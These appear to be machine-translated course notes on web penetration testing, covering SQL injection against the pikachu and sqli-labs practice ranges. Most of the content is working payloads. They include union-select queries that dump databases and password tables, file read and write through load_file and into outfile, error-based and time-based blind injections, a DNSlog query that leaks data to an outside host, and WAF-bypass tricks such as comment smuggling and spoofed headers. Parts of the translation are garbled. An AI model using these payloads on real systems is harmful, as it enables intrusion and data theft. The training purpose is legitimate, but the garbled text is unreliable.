Xiaodi penetration & WEB vulnerability (iii-i)


Video resources

SQL injection (11-18)

11. Vulnerability introduction

11.1 PHP method of traversing all files and subfolders under a folder

<?php
function my_dir($dir) {
	$files = [];
	if(@$handle = opendir($dir)) {
		while(($file = readdir($handle)) !== false) {
			if($file != ".." && $file != ".") {
				if(is_dir($dir . "/" . $file)) { //If it is a subfolder, recursion is performed
					$files[$file] = my_dir($dir . "/" . $file);
				} else {
					$files[] = $file;
				}
			}
		}
        closedir($handle);
    }
	return $files;
}

echo "<pre>";
print_r(my_dir("./"));
echo "</pre>";

If an error is reported: PHP Parse error: syntax error, unexpected '[' in /usercode/file.php on line 4, just switch to php 5.4 or above

resources

https://github.com/zhuifengshaonianhanlu/pikachu------ shooting range

pikachu shooting range notes
1. Environment construction & violent cracking
2. pikachu shooting range & XSS (II)
3. pikachu shooting range & CSRF & SQL injection (III)
4. pikachu shooting range & rce & File Inclusion & upload and download & ultra vires (IV)
5. pikachu shooting range & directory traversal & Information Disclosure & deserialization & xxE & redirection & SSRF (V)

12. Recognize SQL injection

sql injection is that in data interaction, the front-end data is not strictly judged when it is transmitted to the background, resulting in the transmitted data being spliced into the sql statement and executed as a part of the sql statement, resulting in data leakage, loss and even server paralysis.
If the code is not filtered or the filtering is not rigorous, there will be vulnerabilities.

  • Injection may exist in the following links. Fourth, post submission will also exist.
  • The following 2 and 3 tests are correct. If x has injection, test after X.

12.1 information collection during injection

Judgment injection
and 1=1	normal
and 1=2	error
 There may be injection. In fact, in the final analysis, it depends on whether our input will affect the website, that is, our operation is effective

Supplement: the difference between order by and group by
order by defaults to ascending

  • There is an information in versions above mysql5.0_ Schema database, which records all databases, indicating column names.
  • "." in the database represents subordinate
  • select * information_schema.tables; Record all table names
  • where table_name = '' filter criteria
  • select * from information_schema.columns; Record all column names
  • where column_name = '' filter criteria
  • wherw table_schema = '' filter criteria

information gathering

  • Judge the number of data order by x, judge the number according to the wrong format of the correct field, and then select 1,2,3
  • Query database version()
  • Database name (database)
  • Database user()
  • Operating system @ @ version_compile_os

13. MySQL injection


  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata explodes all databases
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu' get specific database table name
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu' get specific database specific table column data

    * http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users query user's data
File read / write operation
load_file():Read function
into outfile or iinto dumpfile:derived function
 Common ways to get paths
 Error reporting display, legacy files, vulnerability error reporting, platform configuration files, blasting, etc

http://127.0.0.1:8888/Less -2/?id=-1%20union%20select%201,load_ file(%27D:\Software\PhpStudy\phpstudy_ Pro \ \ www \ \ sqli labs master \ \ SQL connections \ \ DB creds. Inc% 27), 3 read local files

http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\x.php%27%20 -- + local file write

Reference: Magic_ quotes_ Functions such as GPC (Magic quote switch) and database security

  • magic_quotes_gpc
  • When magic_ quotes_ When GPC = on, characters such as single quotation mark ('), double quotation mark ("), backslash (\) and NULL (NULL character) in the input data will be added with backslash

14. Type of SQL injection: submit injection

In the real SQL injection security test, we must first specify the submitted data and submission method before injection. The submitted data type and submission method can be obtained through packet capture analysis. In the subsequent security test, we must also meet the same operations before injection.

#Briefly specify the parameter type
 Numbers, characters, search, JSON etc.
Numbers can be added directly to sql in
 Characters are accessed through single and double quotation marks sql Statement

#Brief and clear request method|
GET, POST, COOKIE, REQUEST, HTTP first-class

among SQI Statement interference symbol:  ', ", %, ), } And so on, depending on the writing method
'"]})Can be written as the default test
  • JSON data form

15. Oracle and MongoDB injection of SQL injection


  • The double quotation marks of json in the following figure do not need to be closed. What needs to be closed is the single quotation marks or double quotation marks in the SQL statement.
Briefly learn the injection characteristics of various databases
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase etc.
Access The database is placed under the website

Database architecture composition, database high authority operation

Briefly learn how to use various injection tools
 Familiar with tool support library, injection mode, advantages and disadvantages, etc
Sqlmap, NoSQLAttack, Pangolin etc.
access structure
		Table name
				Listing
						data
mysql,mssql etc.
		database A
				Table name
						Listing
								data
		database B
				. . . 
						. . . 	
								. . . 

15.1 Access injection test

  • sqlmap will give false positives, as shown in the following figure
  • Manual test, because asses does not have a database, you can directly query the data

15.2 Sql Server

  • The database permissions we obtain will affect our next test ideas
  • High authority direct test
  • Get data step by step with low permissions

15.3 sqlmap test


Full parameter explanation of sqlmap

15.4 Oracle Database


Reference: Oracle injection summary

15.5 MongoDB

  • MongoDB is a database based on distributed file storage. Written in C + +. It aims to provide scalable high-performance data storage solutions for WEB applications.
  • MongoDB is a product between relational database and non relational database. It is the most functional and relational database among non relational databases.
  • Data transmission adopts JSON transmission.

NoSQL Attack supports the injection test of this database, which runs under linux

  • The tojson function can output json data

Resources involved

https://www.cnblogs.com/xishaonian/p/6173644.html
https://www.cnblogs.com/bmjoker/p/9326258.html
https://github.com/youngyangyang04/NoSQL Attack tools supporting MongoDB in Linux environment, P14
https://github.com/sqlmapproject/sqlmap
https://blog.csdn.net/qq_39936434/category_9103379.html
https://blog.csdn.net/hack8/article/details/6427911

16. WEB vulnerability - query method and error reporting blind note of SQL injection

During SQL injection, many injections have no echo. The reason for the non echo may be the problem of the query method of SQL statements. At this time, we need to use relevant error reporting or blind injection for subsequent operations. At the same time, as manual injection, we can better select the corresponding injection statements by understanding or predicting the approximate writing method of their SQL statements in advance.

select Query data
 Data display and query in website application
 example: select * from news where id=$id

insert insert data
 Carry out user registration and addition in the website application
 example: insert into news (id, url, text) values (2, 'x','$t')

delete Delete data
 Delete articles and users in background management
 example: delete from news where id=$id 

update Update data
 Member or background center data synchronization or caching
 example: update user set pwd='$p' where id=2 and username= 'admin'

order by Sort data
 Generally, data sorting is performed in combination with table name or column name
 example: select * from news order by $id
 example: select id, name, price from news order by $order

Key understanding:
We can use the above query methods to predict the relationship between the website application and the injection point SQL Query mode

pikachu Vulnerability practice platform
SQL Injection error reporting blind injection
 Blind injection means that the acquired data cannot be echoed to the front page during the injection process. At this time, we need to use some methods to judge or try. This process is called blind injection. We can know that blind injection can be divided into the following three categories:

Boolean based SQL Blind injection-Logical judgment
regexp, like, ascii, left, ord, mid

Time based SQL Blind injection-Delay judgment
if, sleep

Error based SQL Blind injection-Error echo
floor, updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

reference resources:
like 'ro%'					#Judge whether ro or Ro.. is true
regexp '^xiaodi[a-z]' 		#Match xiaodi and xiaodi... Etc
if(condition,5,0)				#If the condition is true, return 5, otherwise return 0
sleep(5)					#The execution of the sQI statement is delayed for 5 seconds
mid(a,b,c)					#Starting from position b, intercept the c bit of a string
substr(a,b,c)				#Starting from position b, intercept the c length of string a
left(database(),1),database() #left(a,b) intercepts the front B position of a from the left
length(database())=8 		#Judge the length of database () name
ord=ascii ascii(x)=97 		#Judge whether the ASCII I code of x is equal to 97
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit 

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit


pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

16.1 judgment of injection point


These four locations will receive the values we passed. Normally, they can be used as injection points, as long as they can respond to the test code.

16.2 for Boolean and delay without echo

mysql_fetch_array: no echo function

SQL injection

Delayed blind injection: utilization and Link the correct statement so that if Judge whether the script is right or wrong, combine the two, and then give feedback through time to judge whether the script is executed correctly.
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
  • If the database is security, it will be delayed for 5 seconds, otherwise it will not be delayed
  • Judge the number of database bits

supplement

A ccess offset injection: solve the problem that the column name cannot be obtained
Viewing the form value of the login box source code or observing the URL characteristics can also be aimed at the situation that the table or column cannot be obtained

Resources involved

https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c

17. The second SQL injection, encryption and decryption, DNS and other injection

DNSlog:The problem that blind injection can not echo data and low efficiency is solved

17.1 secondary injection


  • The first one is the original one and the second one is registered by us. When we change the password of the second one, due to the existence of '#, the database will make a wrong judgment, which is equivalent to changing the password of the first one.

17.2 DNSlog

  • DNSlog can solve the problem of no echo
  • mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)

take url Separate from injection statements
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload; 
file_get_contents($urls);
echo $urls;
?>

Resources involved

http:/ceye.io/
https://github.com/ADOOO/DnslogSqlinj

18. SQL injection stack and WAF bypass injection

  • Stack Injection: a stack of sql statements are executed together, including one of the statements; Indicates the end of the statement, and the multiple statements are connected and executed together.

18.1 application scenarios

Stack Injection

  • The administrator account password is required for injection. The password is encrypted and cannot be decrypted
  • Data is inserted during stack injection. The user password is user-defined and can be decrypted and logged in normally

Special symbols

  • Some symbols do not affect the execution of sql statements, but can bypass waf detection

18.2 demonstration cases

  • Sqlilabs-Less38-stack injection (multiple statements)
  • WAF deployment - safe dog, pagoda and other WAF construction and deployment
  • Briefly explain the rules of protection waf strategies such as safety dog and pagoda
  • Briefly demonstrate the protection rules of safety dog bypass sqlinject
  • Analysis of Bypass principle of measured simple CMS header injection vulnerability

Safety dog interception

  • Some protection strategies of safety dog


  • You can bypass the safety dog

  • You can bypass it by changing the submission method

Used to bypass the safety dog waf
%23==>url code==>#
%0a==>url code==>Line feed
%20==>url code==>Space

A symbol used to split statements
/*!*/

principle
 The security dog detection penetration script adopts overall verification, such as:unint select This whole
 You can use the above method unint/*!*/select Not triggered waf
 

Parameter pollution

If there are multiple same parameters, the acceptance of parameters will be different for different servers to build websites, thus invalidating the original parameters.

Resources involved:

https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686

19. SQL map for SQL injection bypasses WAF

  • In the actual attack and defense, we often need to master some features, such as server, database, application layer, WAF layer, etc., so that we can construct Payload more flexibly, so that we can fight against various WAFS and bypass security defense measures for vulnerability exploitation.

19.1 bypass method - white list

Mode 1:IP White award list
 Obtained from the network layer ip,This kind of forgery can not be used. If it is obtained from the client IP,So there may be forgery IP Bypass the situation.
test method:modify http of header come bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

Mode II:Static resources
 Specific static resource suffix requests, common static files(.js .jpg .swf .css wait),Similar white list mechanism,waf In order to detect efficiency, such static file name suffix requests are not detected.
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
 remarks: Aspx/php Only the front ones are recognized.aspx/.php Basically not recognized later

Mode III:url White list
 In order to prevent false blocking, some waf Built in default white list, such as admin/manager/system And other management background. as long as url If there is a whitelist string in, it will be regarded as a whitelist and will not be detected. common url Construction posture:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf adopt/manage/"Compare, as long as uri Exist in/manage/As a white list, we don't detect it, so we can pass/sql.php?a=/manage/&b=../etc/passwd Bypass defense rules.

Mode 4:Crawler white list
 part waf It has the function of providing crawler white list (crawlers of major browsers). There are generally two technologies to identify crawlers:
1,according to useragent 
2,Judge by behavior
UserAgent It can be easy to cheat. We can try to bypass it by pretending to be reptiles. User Agent switcher (Firefox Add ons),Download address:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload

%23==>url code==>#
%0a==>url code==>Line feed
%20==>url code==>Space

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3    /*!44509select*/: By inserting the version number (4).45.09),Bypass detection mechanism
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/				Special symbols

%20union%20all%23%0a%20select%201,2,3%23

Sometimes there is no problem with the injection statement, but the injection cannot go in. Maybe WAF detects the injection tool

  • The package sent by sqlmap has its own tool header

  • Judgment method 1: WAF log

  • Judgment method 2: WAF protection rules

  • Judgment method 3: packet capture

  • resolvent:

  • Idea 1: random agent header method based on salmap

  • Idea 2: use the head of search engine

  • Specify Baidu header


SQLMap description

Extension 1: some WAF S detect other fields, which can be bypassed by replacing this field with burp packet capture( Just modify one)
Extension 2: generate a txt file from the injection statement and run it in the sqlmap directory( Can support running multiple)

19.2 injection with tools will be blackened

  • Solution 1: delay injection
  • Solution 2: use agent pool

Keywords: PHP Database SQL

Added by ciaran on Sat, 04 Sep 2021 05:29:15 +0300